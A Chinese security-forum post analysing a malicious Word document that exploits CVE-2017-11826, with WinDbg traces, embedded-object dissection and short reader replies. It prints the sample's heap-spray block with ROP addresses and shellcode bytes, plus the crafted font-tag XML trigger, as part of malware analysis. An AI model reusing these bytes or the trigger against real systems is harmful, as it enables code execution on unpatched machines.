[原创]cve-2017-11826简单分析

vlinkstone 2018-5-14 01:49 1276
第一次写文章,感觉有点啰嗦。。可能有些东西没写清楚,希望各位师傅多指点。

0 简介

 软件名称:Microsoft Word

 影响范围:2007-2016

 影响平台:Windows

 漏洞模块:wwlib.dll

 分析环境:win7+office2010

 样本:b2ae500b7376044ae92976d9e4b65af8


1 样本静态分析

拿到样本以后,先不着急去动态加载去分析,我们先分析一下样本,看看能不能获取到一些有用的信息。

用oletools中的rtfobj.py 解析一下样本,


有三个对象,第一个没有名字,第二第三个看起来是同一类型的,而且还知道了他们在文件中的位置。通过命令rtfobj.py -s all 将他们分离出来,逐个看一下


1.1 Object 0


id为0 的对象看不出什么东西来,我们还是去样本文件中它所在的位置去看一下


很明显能看到一个clsid,关于clsid我们简单说一下,

因为有很多组件是会被多个程序使用的,而这些组件在不同计算机中存储的位置也是不一样的,为了解决这个问题,微软便提出了用CLSID这么一个16字节的数来表示。在注册表HKCR\CLSID\{......}主键下,便存储着CLSID,每个CLSID下的LocalServer32(DLL组件使用InprocServer32) 中保存着程序路径名称。CLSID 的结构定义如下:

typedef struct _GUID {
	DWORD Data1;	// 随机数
	WORD Data2;	// 和时间相关
	WORD Data3;	// 和时间相关
	BYTE Data4[8];	// 和网卡MAC相关
} GUID;

typedef GUID CLSID;  // 组件ID
typedef GUID IID;    // 接口ID
#define REFCLSID const CLSID &
// 常见的声明和赋值方法
CLSID CLSID_Excel = {0x00024500,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}};
struct __declspec(uuid("00024500-0000-0000-C000-000000000046")) CLSID_Excel;
class DECLSPEC_UUID("00024500-0000-0000-C000-000000000046") CLSID_Excel;
// 注册表中的表示方法
{00024500-0000-0000-C000-000000000046}

去注册表里面找一下D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731这个值,很尴尬,没有找到。在win7和win10里面都没有这个值,最后在xp上找到了。



这里调用这个msvbvm60.dll是干嘛用的呢?通过这篇文章我们知道,原来通过未开启aslr的模块来绕过aslr。那么问题来了,在xp上默认是不开启aslr的,所以有和没有没有太大的区别;在win7和win10上虽然默认开启,但是注册表中没有这个值,岂不是就没有作用了么(事实也证明了这一点,当我打开样本时,用火绒剑观察winword.exe时并没有发现有加载这个dll)。那么为什么不用一个更加通用化的dll呢?


1.2 Object 2

第二个跟第三个对象看起来是一个类型的,都是word对象。我们把他们解压来看一看


通过[Content_Types].xml可以看出,样本中插入了40个activeX对象:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.ms-office.activeX"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/activeX/activeX1.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX2.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX3.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX4.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX5.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX6.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX7.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX8.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX9.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX10.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX11.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX12.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX13.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX14.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX15.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX16.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX17.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX18.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX19.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX20.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX21.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX22.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX23.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX24.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX25.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX26.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX27.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX28.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX29.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX30.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX31.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX32.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX33.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX34.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX35.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX36.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX37.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX38.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX39.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/activeX/activeX40.xml" ContentType="application/vnd.ms-office.activeX+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

我们去Package~\word\activeX目录中看一下插入的对象是什么,在该目录下有一个bin文件和40个xml文件,这四十个xml文件都是一样的:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>

<ax:ocx ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>

在Package~\word\activeX\_rels目录下可以看到这些xml文件的对应规则,40个rels文件中的内容也都是一样的

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>

是将这些xm文件都指向activeX1.bin文件中,那么主要内容就是这个activeX1.bin文件了,我们看一下这个bin文件,发现里面有一块块重复的数据,大致是(A+B+C),其中

A:2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72(重复n组)

B:CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08(重复n组)

C:D0 10 94 72 8F 08 95 72 B0 DD 95 72 90 8C 88 08
01 02 00 00 40 00 00 00 45 C0 A4 72 89 2D 88 88
88 08 9B 9B 33 C9 64 8B 71 30 8B 76 0C 8B 76 1C
8B 46 08 8B 7E 20 8B 36 81 3F 6B 00 65 00 75 F0
8B F0 EB 57 60 8B DE 56 8B 73 3C 8B 74 1E 78 03
F3 56 8B 76 20 03 F3 33 C9 49 41 AD 03 C3 56 33
F6 0F BE 10 3A F2 74 08 C1 CE 07 03 F2 40 EB F1
39 75 00 5E 75 E4 5A 8B FB 8B 5A 24 03 DF 66 8B
0C 4B 8B 5A 1C 03 DF 8B 04 8B 03 C7 89 45 00 5E
83 C5 04 83 7D 00 00 75 AC 61 C3 8B FC C7 07 67
59 DE 1E C7 47 04 00 00 00 00 8B EF E8 93 FF FF
FF 6A 40 68 00 30 00 00 68 00 00 50 00 6A 00 FF
17 8B F8 8F 47 24 89 47 10 89 77 14 C7 07 8E 13
0A AC C7 47 04 C2 19 4B 01 C7 47 08 7D F0 A5 9A
C7 47 0C 00 00 00 00 8B EF E8 56 FF FF FF 33 F6
83 C6 04 6A 00 56 FF 17 3D 00 A0 00 00 7C F1 3D
00 00 20 00 7F EA 89 47 18 89 77 1C 33 DB 53 53
53 6A 02 53 FF 77 1C FF 57 04 83 F8 00 74 D1 33
DB 53 53 53 6A 04 50 FF 57 08 83 F8 00 74 C1 89
47 20 81 38 7B 5C 72 74 75 B6 05 00 00 01 00 81
38 FE FE FE FE 75 F3 40 80 38 FE 74 FA 83 38 FF
75 E8 83 C0 04 8B F0 FF 77 10 FF 77 18 FF 77 1C
FF 77 20 FF 77 14 8D BF 00 10 00 00 8B C7 B9 00
00 00 00 8B 16 81 F2 33 33 AD BC 89 17 83 C1 01
81 F9 50 01 00 00 74 08 83 C6 04 83 C7 04 EB E3
FF E0 CC CC

每块大小0x1000,共有512块,这就很明显了,是用于堆喷的,C是shellcode部分。我们记下这里的几个地址72980b2e  729440cb 729440cb  088883ec,看后面能不能遇到。关于shellcode部分,可以用在线网站查看反汇编代码和流程。

再看一看第三个对象,

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:ve="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml">
<w:body >
<w:shapeDefaults >
<o:OLEObject >
<w:font w:name="LincerCharChar瑁font锛歜atang"><o:idmap/>
</o:OLEObject>
</w:shapeDefaults>
</w:body>
</w:document>

存在乱码字符,我们还是看一下其二进制内容:


其乱码部分是E8 A3 AC E0 A2 88,与第二个对象中的几个地址好像都沾不上边。关于样本的分析就到这里,我们大致可以总结出:样本文件中有三个嵌入的对象,其中第一个对象用于绕过aslr(虽然可能并没有什么作用),第二个对象是用来堆喷的,那么第三个对象想来应该就是结合堆喷实现漏洞利用的。我们在后面的分析调试中可以重点关注第三个对象相关的信息。


2 调试分析


我们用windbg附加WINWORD.EXE,然后打开exp,程序断在这里:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=088888ec ebx=00000000 ecx=0aebe870 edx=00000004 esi=005845ac edi=0387d9dc
eip=6793a182 esp=00143748 ebp=001437b0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
wwlib!DllGetLCID+0x2cc78c:
6793a182 8b08            mov     ecx,dword ptr [eax]  ds:002b:088888ec=????????

通过反汇编窗口可以看到崩溃处附近的代码:

6793a167 4a              dec     edx
6793a168 4a              dec     edx
6793a169 8bce            mov     ecx,esi
6793a16b e840f7b2ff      call    wwlib!DllGetClassObject+0x42d4 (674698b0)
6793a170 8b4044          mov     eax,dword ptr [eax+44h]
6793a173 8b4044          mov     eax,dword ptr [eax+44h]
6793a176 8b4f44          mov     ecx,dword ptr [edi+44h]
6793a179 894144          mov     dword ptr [ecx+44h],eax
6793a17c 8b4744          mov     eax,dword ptr [edi+44h]
6793a17f 8b4044          mov     eax,dword ptr [eax+44h]
6793a182 8b08            mov     ecx,dword ptr [eax]  ds:002b:088888ec=????????
6793a184 50              push    eax
6793a185 ff5104          call    dword ptr [ecx+4]
6793a188 e9fabdeaff      jmp     wwlib!DllGetLCID+0x178591 (677e5f87)
6793a18d 83f802          cmp     eax,2
6793a190 750f            jne     wwlib!DllGetLCID+0x2cc7ab (6793a1a1)
6793a192 83c624          add     esi,24h

显然,eax的值在call    wwlib!DllGetClassObject+0x42d4 (674698b0)被修改,我们在该处下断点跟踪看一下,重新加载样本

0:011>  bp wwlib!DllGetLCID+0x2cc78c-3*6-5(由于开启了aslr,所以使用相对地址,从崩溃处向上计算)
0:011> bl
 0 e 6793a16b     0001 (0001)  0:**** wwlib!DllGetLCID+0x2cc775
0:011>g

如期而断

Breakpoint 0 hit
eax=03601800 ebx=00000000 ecx=00424610 edx=00000004 esi=00424610 edi=036019dc
eip=6793a16b esp=0031366c ebp=003136d4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
wwlib!DllGetLCID+0x2cc775:
6793a16b e840f7b2ff      call    wwlib!DllGetClassObject+0x42d4 (674698b0)

程序断下后,我们跟进这个call看一下,



该处代码其实就是:

 eax*[[ecx]+8]+[[ecx]+0Ch]+[ecx],其中,edx=edx>poi(ecx)?eax:edx

很明显,这里是一个“查表”的操作,多次跟踪可知,ecx指向的地址中存的值是固定的。所以上面的式子也可以转换成:eax*0x5c + 0x10 + [ecx],我们就可以通过这个式子去探探这个“表”里面具体是什么内容,

0:000> dd ecx
005a461c  04e6d800 07559440 05d1f5e8 0755faf0
005a462c  05d1f658 027d1d80 005a465c 042e2230
005a463c  0428daa0 0428dc80 042e22a0 05d1bb80
005a464c  075593c0 075594c0 0428ddc0 0428dd20
005a465c  005a4660 005a4664 005a4668 005a466c
005a466c  005a4670 005a4674 005a4678 005a467c
005a467c  005a4680 005a4684 005a4688 005a468c
005a468c  005a4690 005a4694 005a4698 005a469c
0:000> dd poi(ecx)
04e6d800  00000006 00000019 0000005c 00000010
04e6d810  0000007d 00000096 0000002e 00000027
04e6d820  00000000 00000000 00000000 00000000
04e6d830  ffff0000 ffffffff 0000ffff 00000000
04e6d840  ffff0000 0000ffff 00000000 00000000
04e6d850  00000000 00000000 00000000 00000000
04e6d860  00000000 00000000 00000000 00000132
04e6d870  00000030 0000002e 00000027 00000000
0:000> dd 0*0x5c+0x10+poi(ecx)
04e6d810  0000007d 00000096 0000002e 00000027
04e6d820  00000000 00000000 00000000 00000000
04e6d830  ffff0000 ffffffff 0000ffff 00000000
04e6d840  ffff0000 0000ffff 00000000 00000000
04e6d850  00000000 00000000 00000000 00000000
04e6d860  00000000 00000000 00000000 00000132
04e6d870  00000030 0000002e 00000027 00000000
04e6d880  00000000 00000000 00000000 ffff0000
0:000> dd 1*0x5c+0x10+poi(ecx)
04e6d86c  00000132 00000030 0000002e 00000027
04e6d87c  00000000 00000000 00000000 00000000
04e6d88c  ffff0000 ffffffff 0000ffff 00000000
04e6d89c  ffff0000 0000ffff 00000000 00000000
04e6d8ac  00000000 00000000 00000000 00000000
04e6d8bc  00000000 00000000 00000000 000001c7
04e6d8cc  000001ca 0000002e 00000027 00000000
04e6d8dc  00000000 00000000 00000000 ffff0000
0:000> dd 2*0x5c+0x10+poi(ecx)
04e6d8c8  000001c7 000001ca 0000002e 00000027
04e6d8d8  00000000 00000000 00000000 00000000
04e6d8e8  ffff0000 ffffffff 0000ffff 00000000
04e6d8f8  ffff0000 0000ffff 00000000 00000000
04e6d908  00000000 00000000 00000000 00000000
04e6d918  00000000 00000000 00000000 0000ffff
04e6d928  0000ffff 0000001a 0000001a 00000001
04e6d938  00000000 00000000 00000000 ffff0000
0:000> dd 3*0x5c+0x10+poi(ecx)
04e6d924  0000ffff 0000ffff 0000001a 0000001a
04e6d934  00000001 00000000 00000000 00000000
04e6d944  ffff0000 ffffffff 0000ffff 00000000
04e6d954  ffff0000 0000ffff 00000000 00000000
04e6d964  00000000 0755fa00 6fa216e7 00000000
04e6d974  00000000 00000000 00000000 0000020a
04e6d984  000000e0 0000002e 00000027 00000000
04e6d994  00000000 00000000 00000000 ffff0000
0:000> dc 755fa00
0755fa00  00000001 00000001 07556d48 00000009  ........HmU.....
0755fa10  00000000 00000000 00000000 00000000  ................
0755fa20  00000000 000004b0 00000000 00000000  ................
0755fa30  0005003c 00000000 00000000 00000000  <...............
0755fa40  00000003 0755cc80 00000000 00000000  ......U.........
0755fa50  66a3ff34 00000000 66aca7e0 54484b4c  4..f.......fLKHT
0755fa60  75734d43 69727453 614d676e 00000070  CMsuStringMap...
0755fa70  00000001 024e0c34 66743ead 667449f3  ....4.N..>tf.Itf
0:000> du 7556d48
07556d48  "OLEObject"
0:000> du 755cc80
0755cc80  "킀暢ನ曊.曊."
0:000> dc 755cc80
0755cc80  66a2d080 66ca0ca8 66ca0b44 00000001  ...f...fD..f....
0755cc90  00000000 00000000 00000000 00000000  ................
0755cca0  00000000 00000000 00000000 00000000  ................
0755ccb0  00000000 00000000 00000000 00000000  ................
0755ccc0  00000000 00000000 66ca0c9c 00000000  ...........f....
0755ccd0  0000004a 00720075 003a006e 00630073  J...u.r.n.:.s.c.
0755cce0  00650068 0061006d 002d0073 0069006d  h.e.m.a.s.-.m.i.
0755ccf0  00720063 0073006f 0066006f 002d0074  c.r.o.s.o.f.t.-.
0:000> dd 4*0x5c+0x10+poi(ecx)
04e6d980  0000020a 000000e0 0000002e 00000027
04e6d990  00000000 00000000 00000000 00000000
04e6d9a0  ffff0000 ffffffff 0000ffff 00000000
04e6d9b0  ffff0000 0000ffff 00000000 00000000
04e6d9c0  00000000 042b2d00 6f1f36f2 00000000
04e6d9d0  00000000 00000000 00000000 0000ffff
04e6d9e0  0000ffff 0000001a 0000001a 00000000
04e6d9f0  00000000 00000000 00000000 ffff0000
0:000> dc 42b2d00
042b2d00  0000045f 00000000 00000000 00000000  _...............
042b2d10  00000000 00000000 00000000 00000000  ................
042b2d20  00000000 00000000 0069004c 0063006e  ........L.i.n.c.
042b2d30  00720065 00680043 00720061 00680043  e.r.C.h.a.r.C.h.
042b2d40  00720061 088888ec 006f0066 0074006e  a.r.....f.o.n.t.
042b2d50  0062ff1a 00740061 006e0061 00000067  ..b.a.t.a.n.g...
042b2d60  00000000 00000000 00000000 00000000  ................
042b2d70  00000000 00000000 00000000 00000000  ................
0:000> dd 5*0x5c+0x10+poi(ecx)
04e6d9dc  0000ffff 0000ffff 0000001a 0000001a
04e6d9ec  00000000 00000000 00000000 00000000
04e6d9fc  ffff0000 ffffffff 0000ffff 00000000
04e6da0c  ffff0000 0000ffff 00000000 00000000
04e6da1c  00000000 0755cd70 6fa216e7 00000000
04e6da2c  00000000 00000000 00000000 00000000
04e6da3c  00000000 00000000 00000000 00000000
04e6da4c  00000000 00000000 00000000 00000000
0:000> dc 755cd70
0755cd70  00000001 00000001 07554df0 00000005  .........MU.....
0755cd80  00000000 00000000 00000000 00000000  ................
0755cd90  00000000 000004b0 00000000 00000000  ................
0755cda0  0005003c 00000000 00000000 00000000  <...............
0755cdb0  00000003 00000000 00000000 00000000  ................
0755cdc0  00080061 00130000 00000000 00600000  a.............`.
0755cdd0  0000008a 00000013 00000000 00000000  ................
0755cde0  00000000 00000000 00000000 00007ff4  ................
0:000> du 7554df0
07554df0  "idmap"
0:000> du 66ca0b44 
66ca0b44  "..@"


在之前调试时,触发崩溃时eax=4,当eax为4时,我们可以看到之前静态分析时的字符,但是其中乱码部分是088888ec,这串数在实现堆喷的对象中有用到,但是与嵌入的第三个对象有区别,第三个对像中的是E8 A3 AC E0 A2 88。那么问题来了,为什么不一样呢?我也不知道。根据这篇文章里面的测试代码可以知道,是由于编码的问题,新技能get。而eax=3和eax=5时分别指向OLEObject和idmap。根据之前静态分析的结果,这两者之间的是font。所以这个函数的功能就是在解析这些标签。

Ok,我们走出这个函数,看一下那一串+44h的赋值操作是什么,

6f68a170 8b4044          mov     eax,dword ptr [eax+44h]
6f68a173 8b4044          mov     eax,dword ptr [eax+44h]
6f68a176 8b4f44          mov     ecx,dword ptr [edi+44h]
6f68a179 894144          mov     dword ptr [ecx+44h],eax
6f68a17c 8b4744          mov     eax,dword ptr [edi+44h]
6f68a17f 8b4044          mov     eax,dword ptr [eax+44h] ds:002b:0755cdb4=088888ec
6f68a182 8b08            mov     ecx,dword ptr [eax]
6f68a184 50              push    eax

看起来挺绕,简化一下就是

mov [[edi+44h]+44h],[[eax+44h]+44h]
mov eax,[[edi+44h]+44h]

也就是前两行就完事儿了,跟一下

0:000> dc eax
02471980  0000020a 000000e0 0000002e 00000027  ............'...
02471990  00000000 00000000 00000000 00000000  ................
024719a0  ffff0000 ffffffff 0000ffff 00000000  ................
024719b0  ffff0000 0000ffff 00000000 00000000  ................
024719c0  00000000 023f4d00 6ee136f2 00000000  .....M?..6.n....
024719d0  00000000 00000000 00000000 0000ffff  ................
024719e0  0000ffff 0000001a 0000001a 00000000  ................
024719f0  00000000 00000000 00000000 ffff0000  ................
0:000> dc 23f4d00
023f4d00  0000045f 00000000 00000000 00000000  _...............
023f4d10  00000000 00000000 00000000 00000000  ................
023f4d20  00000000 00000000 0069004c 0063006e  ........L.i.n.c.
023f4d30  00720065 00680043 00720061 00680043  e.r.C.h.a.r.C.h.
023f4d40  00720061 088888ec 006f0066 0074006e  a.r.....f.o.n.t.
023f4d50  0062ff1a 00740061 006e0061 00000067  ..b.a.t.a.n.g...
023f4d60  00000000 00000000 00000000 00000000  ................
023f4d70  00000000 00000000 00000000 00000000  ................

又见到这串字符串,而取出来的值是088888ec,说明这个地址应该就是构造的地址。样本崩溃处的代码是:

mov     ecx,dword ptr [eax],其下一行是call dword ptr[ecx+4]

如果堆喷时成功将滑块代码喷在该地址上,那么就可以跳转去执行shellcode了。


用ida加载wwlib,找到当前崩溃函数的所在。看一下他的流程,具体步骤:

在崩溃处栈回溯,

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
002c3520 6f1c1797 00000000 002c3594 00000000 wwlib!DllGetLCID+0x2cc78c
002c3574 706beb68 0000ffff 0000001a 06b6d1dc wwlib!GetAllocCounters+0x3a9cf
002c35b4 7065d79e 02566b8c 06b6dad8 00000027 mso!Ordinal682+0x54e
002c3604 6dddf281 80000005 06b6dad8 00000027 mso!Ordinal4348+0x1da
002c3670 6dddf25f 00000004 06b6d1e4 06b6d1d8 msxml6!DllRegisterServer+0x29ce4
002c36bc 6dddf25f 00000003 06b6d1e4 06b6d1d8 msxml6!DllRegisterServer+0x29cc2
002c3708 6dddf25f 00000002 06b6d1e4 06b6d1d8 msxml6!DllRegisterServer+0x29cc2
002c3754 6dddf25f 00000001 06b6d1e4 06b6d1d8 msxml6!DllRegisterServer+0x29cc2
002c37a0 6dddf25f 06b6d1e4 06b6d1d8 00000000 msxml6!DllRegisterServer+0x29cc2
002c37ec 6dddd02f 06b6d1d8 00000000 00000000 msxml6!DllRegisterServer+0x29cc2
002c3838 6dddfc6b d732b0ad 002c3894 002c38e4 msxml6!DllRegisterServer+0x27a92

在ida中跳到DllGetLCID+0x2cc78c,通过左下角的Graph overview可以看到这个函数还是比较复杂的,先大致浏览一下整个函数,因为崩溃处的代码受ecx的影响,而ecx是从esi的某个偏移处取得的,所以esi的值就变得很重要,我们盯着esi向上找,就会变得比较容易


一直向上找,发现,esi的值是传进来的第一个参数,


我们在这个函数首部下断,发现会断下很多次,对其参数进行观察,

0:000> t
eax=00123494 ebx=03e1fc14 ecx=00000001 edx=00000000 esi=02e40000 edi=0000ffff
eip=312a7650 esp=001233c0 ebp=0012341c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wwlib!FMain+0x630cf:
312a7650 8b5018          mov     edx,dword ptr [eax+18h] ds:0023:001234ac=03e66526
0:000> du poi(eax+0x18) lpoi(eax+1Ch)
03e66526  "shapedefaults"

这是将要处理的标签的名字,我们将其处理的所有标签名打印出来

0:000> bp wwlib!FMain+0x630c6 "dd poi(esp + 4) + 224 L1; du poi(poi(esp + 8) + 18) Lpoi(poi(esp + 8) + 1c); g;"
breakpoint 0 redefined
0:000> bl
 0 e 312a7647     0001 (0001)  0:**** wwlib!FMain+0x630c6 "dd poi(esp + 4) + 224 L1; du poi(poi(esp + 8) + 18) Lpoi(poi(esp + 8) + 1c); g;"
0:000> g
03c3c224  00000000
03e66526  "shapedefaults"
03c3c224  00000000
03e66526  "shapelayout"
03c3c224  00000000
03e66540  "idmap"
03c3c224  0008c000
03e2dcb8  "shapetype"
03c3c224  0008c000
03e2dcce  "stroke"
03c3c224  0008c000
03e2dcce  "formulas"
03c3c224  0008c000
03e2dce2  "f"
...共13个...
03e2dce2  "f"
03c3c224  0008c000
03e2dcce  "path"
03c3c224  0008c000
03e2dcce  "lock"
03c3c224  0008c000
03e2dcb8  "shape"
03c3c224  0008c000
03e2dcc6  "imagedata"
 ... 省略38对 ...
03e2dcb8  "shape"
03c3c224  0008c000
03e2dcc6  "imagedata"
(250.64c): Unknown exception - code e0000002 (first chance)
ModLoad: 0eca0000 0ecd9000   C:\Program Files\Common Files\Microsoft Shared\TextConv\mswrd632.wpc
ModLoad: 0b840000 0b86f000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV
ModLoad: 0ecb0000 0ecce000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
ModLoad: 0eca0000 0ecdc000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV
ModLoad: 0b850000 0b86e000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
ModLoad: 0eca0000 0ecd9000   C:\Program Files\Common Files\Microsoft Shared\TextConv\mswrd632.wpc
ModLoad: 0b840000 0b86f000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV
ModLoad: 0ecb0000 0ecce000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
ModLoad: 0eca0000 0ecdc000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV
ModLoad: 0b850000 0b86e000   C:\Program Files\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
(250.64c): Unknown exception - code e0000002 (first chance)
(250.64c): Unknown exception - code e0000002 (first chance)
03c3c224  00018000
03e6652c  "shapedefaults"
03c3c224  00000000
03e66526  "shapedefaults"
03c3c224  00000000
03e66526  "shapelayout"
03c3c224  00000000
03e66540  "idmap"
03c3c224  00018000
03e2dcba  "OLEObject"
03c3c224  00018002
03e2dcdc  "idmap"
(250.64c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=088888ec ebx=00000000 ecx=e8bce4f5 edx=00000004 esi=00e245ec edi=0ae461dc
eip=3176aa33 esp=0012335c ebp=001233c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
wwlib!DllGetLCID+0x2ccba9:
3176aa33 ff5104          call    dword ptr [ecx+4]    ds:0023:e8bce4f9=????????

可以看到,堆喷已经入场,并且在处理idmap的时候发生崩溃,此时eax是088888ec,但是在样本文件中,这个地址是在font字段的,idmap在font字段外层,这就意味着在处理idmap时还是在对font的数据进行操作,所以才会看到这个088888ec地址。


分析就到这儿吧,关于exp的编写这里就不说了,,,这篇文章写的非常详细(我就是跟着后面写的。。。)。


3.总结

1)对于有嵌入对象的文档,得用工具(例如oletools)将其分解开再根据其内容去分析,很多时候通过样本就能知道很多信息,之后再去用调试器加载分析会相对容易许多;

2)在选用不开启aslr的模块时要考虑其兼容性(本例样本中就只能在xp中找到,而win7win10上找不到,不知道是不是我的机器的问题);如果条件允许,不妨使用多种方法结合结合起来绕过aslr;

3)要尝试去写exp(虽然我是看别人的文章跟着写的。。。。)


4.参考

CVE-2017-11826 样本分析(分析的很精彩)





快讯:[看雪招聘]十八年来,看雪平台输出了大量安全人才,影响三代安全人才!

最后于 2018-5-14 09:58 被vlinkstone编辑 ,原因:
最新回复 (8)
Vuler 2018-5-14 09:28
2
你的第一个参考链接地址好像给错了吧.....是你自己的
vlinkstone 2018-5-14 10:00
3
Vuler 你的第一个参考链接地址好像给错了吧.....是你自己的[em_38]
尴尬了~~改好了已经
luobobo 2018-5-14 10:01
4
给力!
银雁冰 2018-5-14 13:09
5
